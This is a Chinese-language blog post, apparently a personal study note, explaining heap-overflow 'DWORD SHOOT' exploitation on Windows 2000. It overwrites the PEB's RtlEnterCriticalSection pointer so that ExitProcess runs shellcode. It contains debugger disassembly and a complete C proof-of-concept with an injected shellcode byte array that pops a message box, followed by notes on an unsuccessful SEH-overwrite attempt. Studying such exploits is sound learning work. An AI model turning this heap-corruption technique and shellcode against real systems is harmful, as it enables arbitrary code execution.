zcc1414

博客园 首页 联系 订阅 管理

我知道原理了:

int remove()
{
node->blink->flink = node->flink;
//这个是flink   \x88\x06\x36\x00     这个是blink   //\x20\xf0\xfd\x7f";   

//将系统RtlEnterCritucalSection 的 flink指向 我们的shellcode起始地址  造成DWORD SHOOT 


node->flink->blink = node->blink;

//这里看到是二次 DWORD SHOOT  但此次 影响不大  
}

DWORD SHOOT 目标是  0x7ffdf020 处的 RtlEnterCriticalSection 函数指针,指向shellcode起始地址

DWORD SHOOT 完毕后,堆溢出导致异常,最终导致调用ExitProcess 结束进程

ExitProcess 在结束进程时需要调用 临界区函数来同步线程,但却从 P.E.B 中拿出了指向shellcode的指针,因此 shellcode被执行

77F89103 >  64:8B0D 1800000>mov ecx,dword ptr fs:[0x18]
RtlEnterCriticalSection

77F89134 >  8B5424 04       mov edx,dword ptr ss:[esp+0x4]
RtlLeaveCriticalSection

004013A5 >    64:A1 3000000>mov eax,dword ptr fs:[0x30]
004013AB      8B40 20       mov eax,dword ptr ds:[eax+0x20]          ;  ntdll.RtlEnterCriticalSection

004013A5 >    64:A1 3000000>mov eax,dword ptr fs:[0x30]
004013AB      8B40 24       mov eax,dword ptr ds:[eax+0x24]          ;  ntdll.RtlLeaveCriticalSection


ExitProcess

77E6E01A >  55              push ebp
77E6E01B    8BEC            mov ebp,esp
77E6E01D    6A FF           push -0x1
77E6E01F    68 A0E0E677     push KERNEL32.77E6E0A0
77E6E024    68 B4F0E777     push KERNEL32.77E7F0B4
77E6E029    64:A1 00000000  mov eax,dword ptr fs:[0]
77E6E02F    50              push eax
77E6E030    64:8925 0000000>mov dword ptr fs:[0],esp
77E6E037    51              push ecx
77E6E038    51              push ecx
77E6E039    81EC 98000000   sub esp,0x98
77E6E03F    53              push ebx
77E6E040    56              push esi
77E6E041    57              push edi
77E6E042    803D 0800EC77 0>cmp byte ptr ds:[0x77EC0008],0x0
77E6E049    0F85 5CAD0200   jnz KERNEL32.77E98DAB
77E6E04F    FF15 A010E677   call dword ptr ds:[<&NTDLL.RtlAcquirePeb>; ntdll.RtlAcquirePebLock


77F8C258 >  64:A1 18000000  mov eax,dword ptr fs:[0x18]    //teb
77F8C25E    8B40 30         mov eax,dword ptr ds:[eax+0x30]//peb
77F8C261    FF70 1C         push dword ptr ds:[eax+0x1C]    
77F8C264    FF50 20         call dword ptr ds:[eax+0x20]   // 调用shellcode
			                                   //本来调用的是 77F89103 RtlEnterCriticalSection


DWORD SHOOT  利用申请内存  造成  “掉包” 内存的指向  实现  将指定跳转  跳转到我们指定的shellcode处

2000 下

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x03\x91\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18"				//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";//需要重新查看,7ffdf020 只是存放有 RtlEnterCriticalSection 的地址,修改这个值
//0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug 
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last


main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	//__asm int 3 //used to break the process
	//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	
	return 0;
}

这里利用 DWORD SHOOT   覆盖SEH   也就是    新申请内存时 

  node->bilink->flink = node->flink;

在内存中 显示:

flink  4字节                                  blink 4字节

! ! ! !                                  ! ! ! !

我们的shellcode起始                 SEH地址

将SEH   指向    我们的shellcode

但还是不成功啊!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

不知道为什么   不成功

擦·我看到好像只有2000才能成功


posted on 2013-08-29 00:40  zcc1414  阅读(599)  评论(0编辑  收藏  举报